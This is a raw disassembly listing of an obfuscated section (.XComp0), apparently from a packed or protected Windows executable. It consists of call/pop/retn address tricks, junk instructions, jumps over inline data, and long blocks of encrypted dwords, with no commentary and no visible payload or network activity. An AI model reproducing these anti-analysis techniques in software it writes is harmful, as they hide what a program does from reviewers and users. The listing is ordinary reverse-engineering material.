.XComp0:005A97C0j jmp loc_5A9822 ; --------------------------------------------------------------------------- js loc_5A97E0 pusha pusha popa mov cl, 56h popa loc_5A97E0: ; CODE XREF: .XComp0:005A97ADj ; .XComp0:005A97D4j cmp ebx, 27h jnz loc_5A9B04 jmp loc_5A97FD ; --------------------------------------------------------------------------- dw 4351h dd 0EA6C57E3h, 0BD1DF00Ch, 0F31FC306h ; --------------------------------------------------------------------------- cmc loc_5A97FD: ; CODE XREF: .XComp0:005A97E9j lea edi, [ebp+5FCDEF1h] push 0 push ebp call sub_5A980E and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5A980E proc near ; CODE XREF: .XComp0:005A9806p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 16h inc ebp push ebp retn sub_5A980E endp ; --------------------------------------------------------------------------- inc edi inc dword ptr [ecx-4] loc_5A9822: ; CODE XREF: .XComp0:loc_5A9697j ; .XComp0:loc_5A97CFj mov [ebp+5FCDF01h], edi push 0 push esi call sub_5A9833 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5A9833 proc near ; CODE XREF: .XComp0:005A982Bp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 15h inc esi push esi retn sub_5A9833 endp ; --------------------------------------------------------------------------- db 26h ; --------------------------------------------------------------------------- xchg eax, ebp jmp loc_5A985B ; --------------------------------------------------------------------------- dw 71A8h dd 0BCDE5065h, 0C1E53180h, 2AD3211Fh db 83h, 4Ah, 7 ; --------------------------------------------------------------------------- loc_5A985B: ; CODE XREF: .XComp0:005A9845j stc mov ax, cs push 0 push ecx call sub_5A986A and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5A986A proc near ; CODE XREF: .XComp0:005A9862p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 18h inc ecx push ecx retn sub_5A986A endp ; --------------------------------------------------------------------------- dw 0B914h dd 0F10A3FDh, 1682h, 11E900h, 0C1A0000h, 0CD759E00h, 5C390474h dd 0BBAE246Eh, 2472BC90h, 0AE903h, 1BEA0000h, 0DA0BDC52h dd 35DB9D57h, 850FC00Ah, 1D1h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Dh, 0B0C35545h, 9AEA8A67h, 2DB6B379h dd 7E9F9F9h, 0A2000000h, 9209E79Eh, 0B58DE239h, 5FCE58Bh dd 8E9h, 2DFDAB00h, 5AAF332Eh, 53858B74h, 6A05FCE6h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h dd 0A4FDC355h, 604D46A6h, 13E9E28Ah, 9F000000h, 81F10A85h dd 93CF64Bh, 0E49E6129h, 5E7C44A0h, 506189E2h, 16810Fh dd 52500000h, 9E9h, 5795B400h, 0C74E25FEh, 310F7FA5h, 585A6160h dd 60241489h, 14850Fh, 0FE90000h, 0FA000000h, 0AC03B3B4h dd 2063F439h, 5EF6ED3Bh, 24BF1F74h, 61284FB2h, 244C010Fh dd 605AFCFEh, 0F616060h, 5761CBB7h, 5BC18B66h, 0CB816061h dd 364A3A67h, 0D0B70F60h, 61616160h, 6A24C283h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h dd 5693C356h, 0D98B6660h, 6661C68Bh, 6AFC7289h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h dd 9EBCC355h, 0CEC1F959h, 0DF8B6010h, 88B3B866h, 8966F561h dd 6A0272h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h dd 57470000h, 0E04731C3h, 50869A29h, 6A04CDh, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 190424h, 55450000h, 60D992C3h dd 0F999EBB8h, 0A1E9h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1704h, 0C3554500h, 2FF19066h, 5480BA60h dd 0E95011C4h, 13h, 2ABBD854h, 7A01C09Bh, 8EE3A1Ah, 584358F5h dd 5B369811h, 53858B61h, 0F905FCE6h, 0E58BB58Dh, 830F05FCh dd 8, 2830Fh, 61600000h, 8938858Dh, 0FFF805FCh, 53006AD0h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h dd 0E0306CC5h, 0FD39078h, 1581h, 10E900h, 0CB2A0000h, 0D1D015B6h dd 5F77219Bh, 3FDAA33Fh, 85899734h, 5FCDEF9h, 13E9h, 0A6A7B400h dd 0B973D957h, 170D90D2h, 0AA98E5FEh, 0EDA6DDA9h ; --------------------------------------------------------------------------- loc_5A9B04: ; CODE XREF: .XComp0:005A97E3j popa push 0 push edi call sub_5A9B10 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5A9B10 proc near ; CODE XREF: .XComp0:005A9B08p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Ah inc edi push edi retn sub_5A9B10 endp ; --------------------------------------------------------------------------- dd 0F331C625h, 0F8D7C4E7h, 0DEF9858Bh, 8C0F05FCh, 5, 0C1BF0F60h dd 6AC361h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h dd 55450000h, 0AED871C3h, 46D819E7h, 0F216D9Fh, 1386h dd 0EE900h, 49B00000h, 50D327FEh, 0D97E01DCh, 8C27D1C4h dd 52006A60h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h dd 0C3524200h, 19A60174h, 0B54C2C09h, 10E92Ch, 92420000h dd 38D464E4h, 6493F3BDh, 0DC32C795h, 9E94DEBh, 0B000000h dd 0F7221AD2h, 0BB066577h, 0E653BD83h, 0F0005FCh, 3F85h dd 13E86000h, 99000000h, 8EBF973h, 0F60D09C8h, 0AB7C5FBEh dd 88E40604h, 0E95A39AAh, 13h, 304330A5h, 46D92011h, 295F51CEh dd 9E5CC9EFh, 6194A8F9h, 5385C7F8h, 3F05FCE6h, 0F8000101h dd 2DE9h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1504h, 0C3574700h, 8F0F252Eh, 9, 66585760h, 0FA1AE681h dd 20CDF561h, 0 ; --------------------------------------------------------------------------- loc_5A9C44: ; CODE XREF: .XComp0:005A9C7Dj or eax, eax jz short loc_5A9C7F lea esi, [eax+0Ch] mov edi, [ebp+5FCDF01h] mov ecx, 8 loc_5A9C56: ; CODE XREF: .XComp0:005A9C5Aj cmpsb jnz short loc_5A9C7B dec ecx jnz short loc_5A9C56 mov ecx, [eax+30h] mov ebx, [ebp+5FCDEFDh] cmp ebx, [eax+34h] jg short loc_5A9C7F mov edx, ebx imul edx, 4 add ecx, edx mov eax, [ecx] mov [ebp+5FCDEF9h], eax jmp short loc_5A9C7F ; --------------------------------------------------------------------------- loc_5A9C7B: ; CODE XREF: .XComp0:005A9C57j mov eax, [eax] jmp short loc_5A9C44 ; --------------------------------------------------------------------------- loc_5A9C7F: ; CODE XREF: .XComp0:005A9C46j ; .XComp0:005A9C68j ... popa mov eax, [ebp+5FCDEF9h] iret ; --------------------------------------------------------------------------- jnz loc_5A9C94 pusha push ecx pop eax movsx esi, ax popa loc_5A9C94: ; CODE XREF: .XComp0:005A9C87j push 0 push ecx call sub_5A9C9F and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5A9C9F proc near ; CODE XREF: .XComp0:005A9C97p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Bh inc ecx push ecx retn sub_5A9C9F endp ; --------------------------------------------------------------------------- db 4Ch dd 0C6687C2Eh, 0E90B045Eh, 8, 0DF939CD3h, 0F4F46CC9h, 12E8C08Bh dd 7C000000h, 11598741h, 0BB52E8AFh, 93B53D64h, 0E5095046h dd 8B5BF969h, 9BC381CEh, 56000063h, 81616060h, 0CF235FE0h dd 6859616Fh, 18C2h, 7C18166h, 0AE95ECCh, 0EC000000h, 0C75F8F12h dd 0CC59E83Ch, 0BA3B8BC2h, 3DB55880h, 0EBFEF81h, 8B66176Fh dd 0EF81CBh, 8A4D2B16h, 8BC781D4h, 0F7C5DB2h, 108Fh, 0F48A6000h dd 7E9h, 0CB1AF500h, 8F920FC6h, 0B70F5761h, 0F8038FCAh dd 0C6FBEB81h, 0D08B4E6Dh, 0C6F7C381h, 0F5804E6Dh, 1EE839Bh dd 0FFAB850Fh, 48E9FFFFh, 70000001h, 74000000h, 78000000h dd 7C000000h, 80000000h, 84000000h, 88000000h, 8C000000h dd 0D0000000h, 0D4000000h, 0D8000000h, 0DC000000h, 0E0000000h dd 0E4000000h, 0E8000000h, 0EC000000h, 0F0000000h, 0F4000000h dd 0F8000000h, 0FC000000h, 0 dd 4000001h, 8000001h, 0C000001h, 1, 37h dup(0) dd 0C7000000h, 3005A9Dh, 8D00B3C2h, 0FCE77A85h, 13E805h dd 1AC00000h, 43B5ED28h, 865B6767h, 558EAA77h, 0EBB1EFC1h dd 5D8D8B80h, 5F05F92Eh, 6DEEB966h, 0E8BA8589h, 896005FCh dd 0F92025BDh, 800F05h, 61000000h, 189985C6h, 605405F9h dd 14E9h, 274AA300h, 190CC9BFh, 2C055847h, 633E7308h, 0D2CB56F2h dd 2880FDAh, 0B2000000h, 116861C5h, 81BEAB2Fh, 47382434h dd 0BD8B50C9h, 5F90849h, 0B5FFD68Bh, 5F908D1h, 0A618D8Bh dd 858D05F9h, 5FCC510h, 8956D0FFh, 0F9065595h, 85895E05h dd 5FCE8BEh, 108E0Fh, 0BE90000h, 0A4000000h, 5BD874A1h dd 9F1C80F1h, 858993E3h, 5F90DA1h, 3DE9h, 0F18B6600h, 0BAB58B56h dd 8905FCE8h, 0BA858306h, 405FCE8h, 8D60C35Eh, 0FCE77AB5h dd 560FEB05h, 36FF006Ah, 0E8BE95FFh, 835E05FCh, 3E8304C6h dd 61EC7500h, 0C9BF0FC3h, 2AE9B58Bh, 858D05F9h, 5FCE995h dd 6FA575BAh, 0E1858979h, 0E905F907h, 0ECh, 2ECCA6C4h dd 8A055C97h, 76A18883h, 7A0E0A1Dh, 33538FDDh, 7D2F6D37h dd 2D773D55h, 0D77DD57Fh, 0F73D577Dh, 0D575DF6Dh, 577DD773h dd 5FEDF73Dh, 335375D5h, 7D2F6D37h, 2D773D55h, 0D77DD57Fh dd 171E577Dh, 2075DF6Dh, 20602060h, 60E0E020h, 7B68AC20h dd 0A1E4A9F7h, 93B2D020h, 9DB7EDA6h, 0A3F291B9h, 206020ACh dd 20602060h, 60E0E020h, 33537520h, 7D2F0D0Ah, 20602055h dd 28602060h, 0F0362BA7h, 0F360C950h, 96A1EFB6h, 0A7B4E0F7h dd 7192B8E3h, 0B9E9B3F4h, 2060F76Dh, 20602060h, 0F7202060h dd 351ADF6Dh, 577DD773h, 5FEDF73Dh, 335375D5h, 7D2F6D37h dd 2D773D55h, 0D77DD57Fh, 0F73D577Dh, 0D575DF6Dh, 577DD773h dd 5FEDF73Dh, 335375D5h, 7D2F6D37h, 0E0A1E35h, 5D340700h dd 59A0A3D2h, 1Eh, 0 ; --------------------------------------------------------------------------- jmp loc_5AB1B3 ; --------------------------------------------------------------------------- push 5FCEE9Bh jmp loc_5734FA ; --------------------------------------------------------------------------- push 5FCF022h jmp loc_5734FA ; --------------------------------------------------------------------------- push 5FCF14Fh jmp loc_5734FA ; --------------------------------------------------------------------------- push 5FCF287h jmp loc_5734FA ; --------------------------------------------------------------------------- push 5FCF359h jmp loc_5734FA ; --------------------------------------------------------------------------- push 5FCF417h jmp loc_5734FA ; --------------------------------------------------------------------------- push 5FCF597h jmp loc_5734FA ; --------------------------------------------------------------------------- push 5FCF6B3h jmp loc_5734FA ; --------------------------------------------------------------------------- push 5FCF7F9h jmp loc_5734FA ; --------------------------------------------------------------------------- push 5FCF8F1h jmp loc_5734FA ; --------------------------------------------------------------------------- push 5FCFA06h jmp loc_5734FA ; --------------------------------------------------------------------------- db 5Ah dd 83629A77h, 6590B45Bh, 795C8083h, 688FB550h, 0C3618384h dd 5EA9114Eh, 6E9D3FA6h, 5DAC0FB6h, 6E9F40A7h, 0B06B0CB6h dd 23999ACDh, 8CE3A54Ah, 0E099BA63h, 5D299685h, 0C56469A0h dd 7677943Ah, 7A6493A3h, 84646891h, 0F089CA45h, 6D299665h dd 142A5CB0h, 0A439B244h, 35D2FA05h, 0B645E9C0h, 0C01BC4A8h dd 0FA1FEA1Bh, 92DE0FDh, 58AD3B2Fh, 326EC1C3h, 28D11801h dd 48A8298Fh, 0DE8B02C7h, 0FA0CFBF6h, 59FDDD35h, 0FB633FDCh dd 28D12F8Eh, 9CBF92EBh, 0FC120F23h, 81FC17F4h, 0FE239CBFh dd 24C5C801h, 3BDB329Bh, 42FA13BCh, 0F6F0DAE5h, 640CEFF1h dd 6E5FAA56h, 26ED90CBh, 0BD6A239Dh, 0AA13E274h, 95E17263h dd 7E239D26h, 21F3BBA7h, 0FA44A087h, 83728422h, 6EDE965Ah dd 0BEC964D7h, 0E821E81Dh, 0C701D334h, 39B3446Fh, 23CC2BCBh dd 1DC013B8h, 0F9B025ECh, 0AA2BE0FEh, 0DFF3AEFh, 0BD70E883h dd 957457E0h, 8831BA5Ch, 2367B684h, 0FF0F3CB5h, 0E10CCFF0h dd 78ECE128h, 729338BFh, 559B789Ah, 0E90D8F53h, 0D722CC1Ah dd 9D3F413Ch, 2DC1BE23h, 38EC21BEh, 506E8CFh, 0F320D990h dd 239D3F8Ah, 0FF41A07h, 48D61B5Dh, 19CCA329h, 8D89E7DBh dd 7BABD69h, 8C870000h, 32218D63h, 7A48BCAh, 0D4D92A90h dd 20C9CC05h, 3DA23397h, 0C50CDDD0h, 3F9E19D0h, 16C3CAh dd 0C251CCF1h, 299654B7h, 57824734h, 1E8F8060h, 0D991AB4Bh dd 13EE134Fh, 30CB44ACh, 2996544Dh, 0F8EE15C3h, 0F34EEB0Bh dd 546C0D4Eh, 3CE92996h, 860B371Ah, 0CFFE2F8Fh, 5EB61EEDh dd 3FBF17FEh, 0AF25DC15h, 833F6270h, 0DC052970h, 9C904237h dd 0EB1CC023h, 2CDFFDEAh, 0FCEA21A9h, 0D8211622h, 9C90423Bh dd 2CC2BF23h, 2BC581CDh, 0FB48D6ACh, 0A72ED704h, 0A1A3A2D5h dd 4980E568h, 5879A5h, 0FFCB0000h, 31083169h, 96855722h dd 727D429h, 9841E92Ah, 20972F8Fh, 90494CBDh, 7A99767Eh dd 239D72FFh, 434A7F7Ch, 9D72B9C0h, 2D9F9823h, 20CB30D3h dd 7D4E03E9h, 7561A0B6h, 0AAD380B9h, 27239D3Ch, 0BD2FD47Ah dd 7A48D614h, 188h, 20D74FC5h, 572DAF90h, 638C81B7h, 984423AAh dd 8D2DCA6Fh, 90A6737Ah, 9E6F5057h, 966F5C63h, 3BA44A1Fh dd 0B25D817Eh, 9D704D9Ch, 9635C267h, 0FA70E373h, 0D8299689h dd 16EEEBF4h, 39DDE4F5h, 44F815BAh, 3B9F3CA1h, 0D910C9CCh dd 44AA15D4h, 1CEDD0C7h, 0B2F86EFAh, 9595D8A1h, 58765529h dd 8EB37EB3h, 8EBE91CDh, 0A8D7F2Fh, 21EAD424h, 3917FDACh dd 6B93A3C5h, 84EC8DCEh, 7B62239Ch, 6C52078Eh, 65C27AAFh dd 7963725Ah, 83565792h, 3961F773h, 5F1A3900h, 0D5239C84h dd 0CD9C11F4h, 37D4FAD9h, 710C47F2h, 0EE239C84h, 0E9101D31h dd 0F41AEFCEh, 9877A851h, 74576029h, 0E3FF1678h, 3F8A7DB2h dd 837B9B4Eh, 3E390269h, 0A1195C1Dh, 0C82CD91Dh, 8B46EF30h dd 0D70AB56h, 8A1DA0E0h, 0C6B7649Dh, 431DA0DFh, 7C83B046h dd 0A3668550h, 0BF61B36Eh, 0E5708C21h, 0FB68096h, 6B536CABh dd 95E697A4h, 89631DA0h, 0FAD27A09h, 60A960E3h, 0F2A4E793h dd 231223BEh, 0C7Ch, 0A143CEF1h, 0CF759A36h, 9B41C228h dd 0CE768F3Ch, 0A044C327h, 6C500F82h, 607E699Bh, 6F4E79ABh dd 5A83629Ah, 966391B3h, 9997F485h, 3CFC7123h, 9CB7608Ch dd 299685E1h, 0B168A15Eh, 6D60A546h, 12E758BCh, 935AC752h dd 7C50B983h, 671449F5h, 65886FD6h, 0D67831A4h, 0FC3AB617h dd 0F889980h, 0FCAB360h, 5A472996h, 8CA25A8Fh, 124169FFh dd 29968567h, 47F237E4h, 55F90AB0h, 0DFD821D8h, 0D0890CFBh dd 96853A43h, 39DAB729h, 29968540h, 8E09C0BDh, 1437D72Ch dd 2F8F981Ah, 79329C70h, 9EAF469Fh, 5E838078h, 0BCBD5EA3h dd 39239D7Eh, 7ECEAF4Ch, 5E4B239Dh, 1D907B61h, 9241AA4Ch dd 239D7EE3h, 0E8977DC2h, 5E82D7D1h, 99C534DAh, 0D61A33ADh dd 0FEF448h, 0F2470000h, 9D321861h, 46E89523h, 0AA638CF0h dd 58E8623h, 2B4E0DBBh, 0A829966Bh, 0F73519FBh, 0F70D70ABh dd 9D8A2995h, 8733C254h, 0E3A24463h, 7BB6D08Eh, 0FE5DAF7Ah dd 10A94DC3h, 6EFC4FDFh, 0A2995F5h, 0D1F428E5h, 3EAC21ECh dd 45C772A8h, 0BB295A9h, 0BA779727h, 0E099BA7Fh, 5D299646h dd 0A7BB8EA0h, 952F8F6Fh, 1DCEAF6Ch, 0D586239Dh, 239D1DA4h dd 85826421h, 689C8971h, 759638BFh, 0C71385E1h, 0DE70112h dd 99862999h, 97765760h, 86B34316h, 95C65179h, 1DA12CE4h dd 0B76DA461h, 805BAC10h, 0BEF24FCCh, 0F53A3B34h, 6A00000Ah dd 73528A87h, 0B520C44Bh, 0A94CF013h, 0B81FC540h, 0F351F314h dd 2ED901BEh, 1EEDCFF6h, 2DDCFFE6h, 1EEFD0F7h, 203BFCE6h dd 2399955Dh, 8CD375DAh, 0B6597560h, 0C11EC97Bh, 0BB21B01Ah dd 45149950h, 846A558Ch, 0B8C15287h, 35299685h, 0B28CA648h dd 95E873CEh, 0B299685h, 0F3A627DEh, 0F1001613h, 0B7C251CCh dd 34299685h, 60578247h, 56038A7Bh, 9F4027C0h, 8077903Ch dd 6B3EAF60h, 1E997EA6h, 0ABA549BEh, 9FE670E7h, 4189733Eh dd 0F18CC7A9h, 6E299658h, 88B178B1h, 38BD4C6Fh, 0B360CD61h dd 2F8F715Fh, 1EEBD2EDh, 0C42CC297h, 0F40B2ED7h, 9C4D40C9h dd 0B4CCD77Ah, 0FF692265h, 59817EA3h, 70AB88AEh, 2ACDD5DAh dd 6DC614F8h, 61F4BBF3h, 0C17825CDh, 81749936h, 0CD5D86A8h dd 1CEFCD5Bh, 0EAD52CD5h, 1FECD201h, 0BF36FBAEh, 840144EAh dd 0E924D869h, 5B0F053Ch, 0AF5E7F98h, 0AE896B3Eh, 87A44A4Fh dd 0B1CC87B2h, 2E18DF5Fh, 0B10EDD71h, 8148C52Ah, 88537C5Bh dd 0BD4A7265h, 61A88174h, 0B030C892h, 12131CA5h, 9C8h dd 0CD6FA23Dh, 9349C62Ah, 0C77D8634h, 924ABB20h, 5C808733h dd 0E00C4BC6h, 0ECD2F527h, 0F3DAFD1Fh, 0E607EE16h, 2ACFF527h dd 999490E9h, 98580D23h, 99BA638Ch, 299685E0h, 1D907556h dd 64AD5A4Ch, 8F2FC871h, 5EF4C163h, 62A7B5BBh, 0FE56BE6Bh dd 0D4E3375Dh, 5FC995B9h, 0DE23DE03h, 95A43C3Dh, 2ACCB929h dd 8ED8DB27h, 0AB514E2Fh, 68AA868Eh, 188F8C33h, 74FC6AF6h dd 6237BE47h, 45C772A7h, 671D973Eh, 9A3640Bh, 1E20047Eh dd 191043D3h, 3E2998FBh, 6C349841h, 68114266h, 0E51D9E86h dd 8837D438h, 0D7220F1Fh, 0EA0CFDE0h, 0F92BE20Bh, 0E51CF1CEh dd 0C96E5EEFh, 3ED063A8h, 45A335A5h, 0A08C60A3h, 10314951h dd 75578247h, 62237ED8h, 0D0A96A41h, 4D1D9F51h, 0C21E9950h dd 0CF8CA94Dh, 239C3B81h, 8976AB58h, 0B2517764h, 9D64C577h dd 0A267FB7Eh, 6B8B7817h, 6FAA638Ch, 67F089CAh, 7E6D17A2h dd 0CF5FAA5Fh, 6DAE5316h, 17A2680Ch, 86836A89h, 29BFAB4Bh dd 3AEF1EBFh, 904A54FFh, 37C01D9Bh, 19E17594h, 0BE73903Ah dd 0EA5E9B5Dh, 6B7A7BA2h, 890h, 0F527EA05h, 0FB21EED2h dd 0EF15EEDCh, 0FA22E308h, 0E418EFDBh, 38A4D34Eh, 24CA2DCFh dd 2B9235E7h, 1EBF26DEh, 0D2A74DEFh, 99933841h, 7010B523h dd 0F48046CEh, 64DBE7DDh, 9E72F1A7h, 944D8415h, 9605F687h dd 0A0B67329h, 0FB1852C4h, 29960582h, 12C702FFh, 1EEFD0E7h dd 192CC297h, 2F92EF3Bh, 0EC19C23Dh, 4CF5B24Ah, 29E60AF5h dd 0EE15C3A4h, 0FBE41323h, 890CFDE0h, 46E319D0h, 33DC04FBh dd 991B5528h, 2CD5D223h, 991B8EEFh, 0F81E0B23h, 0E107D4F9h dd 43E6E722h, 28413BD1h, 4FDFD8D7h, 0A45D8513h, 0B717EA30h dd 1E30C864h dd 0BCFC0211h, 4FAA2991h, 9F53B9C4h, 0BA59361Dh, 1D9F53BFh dd 648A3F3Ch, 0AE448F8Ch, 5ABEF024h, 7BE4C59h, 8C330000h dd 58785F85h, 786285B7h, 4D6E598Bh, 796184B8h, 45BC568Eh dd 0AB51B616h, 0B369A24Ch, 0BC60A914h, 0A359B419h, 0A2DB7841h dd 1F239992h, 69FF06AAh, 0CEEF0831h, 7B9B4E3Fh, 4F7C83BEh dd 78ADA0B6h, 9D2F9370h, 21BE39E0h, 3DF411BAh, 0EFFE007h dd 3E3F01D3h, 3A2754CCh, 912ECB14h, 0F70CAE2Bh, 0E7EE23F6h dd 0D6401C32h, 836A558Ch, 7EC37086h, 567A5781h, 0AC7D70B9h dd 189C78Ah, 249B2997h, 34BC52BBh, 0C8259247h, 7D7A9F45h dd 6786A85Bh, 94068786h, 0C146A602h, 2DD41DCCh, 39DD2A92h dd 563F5FFCh, 9D7A2396h, 0A403FB7Eh, 468B7817h, 0F5950F75h dd 171E17A4h, 700h, 85B75A75h, 6B917E62h, 7FA55E8Ch, 6A927358h dd 74A85F8Bh, 8834639Eh, 547A5D7Fh, 7B6285B7h, 4E6F568Eh dd 2B71DBFh, 99912851h, 8040A523h, 23AA638Ch, 0CA729B44h dd 31E2089Eh, 29968548h, 7718C8D3h, 0CC3263EAh, 607E8CFh dd 16EB16CBh, 96447405h, 2234F129h, 8F76132Fh, 0FECB412Fh dd 475A657h, 81239D68h, 31E03084h, 0FBA850E6h, 322C49FAh dd 360B239Dh, 322D500Bh, 0FDAA239Dh, 0F2BCAA59h, 32710C47h dd 31EE239Dh, 0A74E81Dh, 333148D6h, 13000000h, 0DFFF69FFh dd 25ECBD30h, 97CF5FFCh, 3DEA2F8Fh, 726E0BB8h, 0C24D239Dh dd 4E3EB294h, 0E0648D6h, 96EC3801h, 0A347B058h, 96B87164h dd 1008Ah, 638C5C00h, 85E099BAh, 0A05D2996h, 0CA89B069h dd 299685AFh, 6DF6F2Ch, 934EB921h, 9033F341h, 0B1689D9Eh dd 966DD7A2h, 87A75429h, 9974595Eh, 806A5514h, 5B847383h dd 0A3C78AB2h, 81299671h, 168CD98Bh, 5079B72Fh, 1BDA7CB5h dd 4AC529B2h, 557A5D7Fh, 8F92409Bh, 0F03940D3h, 0AFFB6DFDh dd 9640D9A4h, 52775629h, 8EB37EB3h, 8F5685CDh, 0AE53502Fh dd 0CE60AB11h, 913CC364h, 0AC5B7F78h, 1248DE8Ah, 1EEFD0E7h dd 44203BF8h, 2E29991Eh, 0CC6BD1A6h, 34DA35B4h, 9D1ABFBCh dd 0EA0FCA3Dh, 0A1265029h, 3ED0CD1Dh, 1EE9D1F4h, 0F2485DBDh dd 2D3839BEh, 580h, 537DAF5h, 0EB11FEE2h, 0FF25DE0Ch, 0EA12F3D8h dd 0F428DF0Bh, 8B4E31Eh, 0D4FADDFFh, 0FBE20537h, 0CEEFD60Eh dd 82379D3Fh, 9990A8D1h, 0C02523h, 40B7608Ch, 0ADD06B9Ch dd 2A299685h, 0A790B47Dh, 0B95DAE10h, 0C478953Ah, 3169FF6Ah dd 97E34B08h, 0E4FE2F8Fh, 2EC58F5Ch, 51B2189Fh, 8D448D5Ch dd 8C836B54h, 25BE5009h, 0D8849084h, 0B8F5B05Dh, 0B5C6B396h dd 6AA5239Ch, 0BF5AB27Ch, 2848E6Ch, 0B933D87Eh, 7E48D6EEh dd 0E9h, 0AA638CC8h, 6F984423h, 7E5642CAh, 35FDCF0Fh, 9621C821h dd 19E0D53Ah, 95FD7FFAh, 0CAFFFC29h, 1452124h, 0B1232996h dd 0F6DC6ACFh, 0FDE7013h, 7FBA5FAEh, 95E3A9D4h, 0D5792629h dd 0BA537C5Bh, 349E7633h, 0F9F191CEh, 4BBBDFFAh, 0DE625269h dd 60BA2C38h, 557780B9h, 0A5ADA0B6h, 702F8F88h, 4FD991B3h dd 0EE13EE13h, 9D5C4C2Dh, 3ADCC923h, 994CEE17h, 73AE5B29h dd 72A7608Ch, 93A36685h, 699E3EA9h, 0F20DB68Ah, 0E8CDE6BEh dd 464h, 0E91BF6D9h, 0F72DE2FEh, 0E319EAD0h, 0F62ED704h dd 0E81CEBCFh, 44A8D74Ah, 18B621C3h, 47A651F3h, 12BB1AC2h dd 0DE9B49FBh, 998F3C3Dh, 7414B923h, 7D8831CEh, 55B21AD9h dd 0BEA828ACh, 9257B6F1h, 5045C825h, 5EBB7599h, 7F9C7761h dd 299627FEh, 0B3438E7Bh, 0CA729B44h, 78638C74h, 6A3FB657h dd 5F7D7A9Fh, 0DE7029ACh, 6F5B6405h, 0A9121598h, 0C42A955Ch dd 83934647h, 1AC24B74h, 2EDB02FDh, 664A4E08h, 0C4B5669Bh dd 41299685h, 85C6B744h, 46432996h, 0F822B4B0h, 0D416B641h dd 62460AFBh, 3DD118E1h, 9AF63F0h, 43D2F8Fh, 9CD82657h dd 0EE6A323h, 0BC075BDEh, 0DE163857h, 17572231h, 27D4239Dh dd 31F043E2h, 0D2C7D28Eh, 38E31E44h, 8560AA82h, 56619885h dd 8F7A6178h, 0BF2BB45Ah, 0F148F129h, 6E951762h, 5CF79479h dd 796E9521h, 628E19Eh, 5A9BEA29h, 0E6007F6Bh, 9F9B1882h dd 53BA235Bh, 55428762h, 49209578h, 73A05980h, 73720C0Ah dd 0BC1D9A87h, 6F88A549h, 3944CF4Eh, 0B673720Bh, 0E93AE3C9h dd 0C2CC76E5h, 0E034D507h, 304F5BF2h, 3BBA5CB7h, 0AAA07B92h dd 0EE0323B9h, 31EE0C5h, 2C930000h, 38983FE5h, 18C225D7h dd 2D8E39EBh, 19C124D8h, 0A5DC36EEh, 0B31D6F6h, 0D30902ECh dd 9C40C9F4h, 0C3799439h, 0C2BB5821h, 3F23998Eh, 31CEE68Ah dd 5B0E7F8Ah, 7A933CBBh, 719238BFh, 6EA0619Bh, 214802Eh dd 9DCC40E9h, 4B29CC4Ah, 6B93E675h, 13102996h, 0BA2C38DEh dd 0C2778C2Eh, 966BE891h, 71B86529h, 75138BC8h, 6E892F8Fh dd 5E96B84Dh, 0F1C17BA1h, 8AF320D9h, 7239D62h, 4934DF1Ah dd 0C6239D62h, 0BF2935D9h, 719DBE63h, 0C429967Bh, 4C252ED7h dd 14DA32B9h, 0D3F8B6C0h, 7086B5DEh, 13862F4h, 7875D438h dd 78250EC4h, 1604A2DBh, 0A7621F61h, 0D86C487h, 0BC69670Fh dd 0B937A139h, 0EC19C20Fh, 30F930E9h, 0C03B4A09h, 0E3A06119h dd 0BF1CC13Eh, 2734ED1Ch, 55203656h, 0E91BD6D3h, 900FE1FEh dd 7E4E5F71h, 3C00DB16h, 84617150h, 2268A6Bh, 349B0000h dd 20C027DDh, 40AA4DEFh, 15B621C3h, 41A94CF0h, 8D041EC6h dd 0E319EECEh, 0B31DA04h, 0D40801ECh, 9B41CCF1h, 0AAD38039h dd 2723998Dh, 638CFEC2h, 41B45578h, 8D2CA168h, 3ABB4872h dd 593CF5Fh, 0FFCA41ABh, 0AB0139DAh, 0FFFC2F8Fh, 56053CDDh dd 239D5F23h, 953E3A0h, 0B21BA4A8h, 5FCDB06Bh, 5D4A239Dh dd 70E68294h, 481DEF2Ah, 250383C1h, 21D855F9h, 43D33896h dd 964E0210h, 0AA699029h, 1DA41CCFh, 37BF4F4Ch, 6253B418h dd 76A34287h, 91A56089h, 97091BBEh, 61C113D6h, 44BE2AC8h dd 0C73EAB14h, 670313C6h, 8770A9F1h, 0A592A463h, 0AA4DD076h dd 0C113EE6Ah, 4154EE37h, 7BFE1D24h, 0F85EB834h, 1613EB0Bh dd 0FFDDDA9Fh, 0FCD0890Ch, 0E206B20Bh, 6AF61803h, 0E07BA6FCh dd 64B489A9h, 0BFADF0Eh, 0DF1ACF8Ah, 0A21B89EDh, 8AAC8516h dd 60AD12ADh, 0AAD380B9h, 2058BA94h, 91484DBEh, 54DE702Dh dd 0F2C14C71h, 65DCE638h, 1162436Ch, 86000001h, 577EA66Bh dd 81649877h, 4D78AC57h, 8463996Ch, 0B78DAF58h, 6A9D3D7Ah dd 62A913B2h, 59B01BBAh, 729B44A3h, 0C44F28CAh, 23998BB9h dd 8CEF9136h, 8623AA63h, 85DDA0BBh, 0AD5A2996h, 1F4BDD89h dd 968589F4h, 0D0190629h, 0ACF8EA29h, 0E6A32F8Fh, 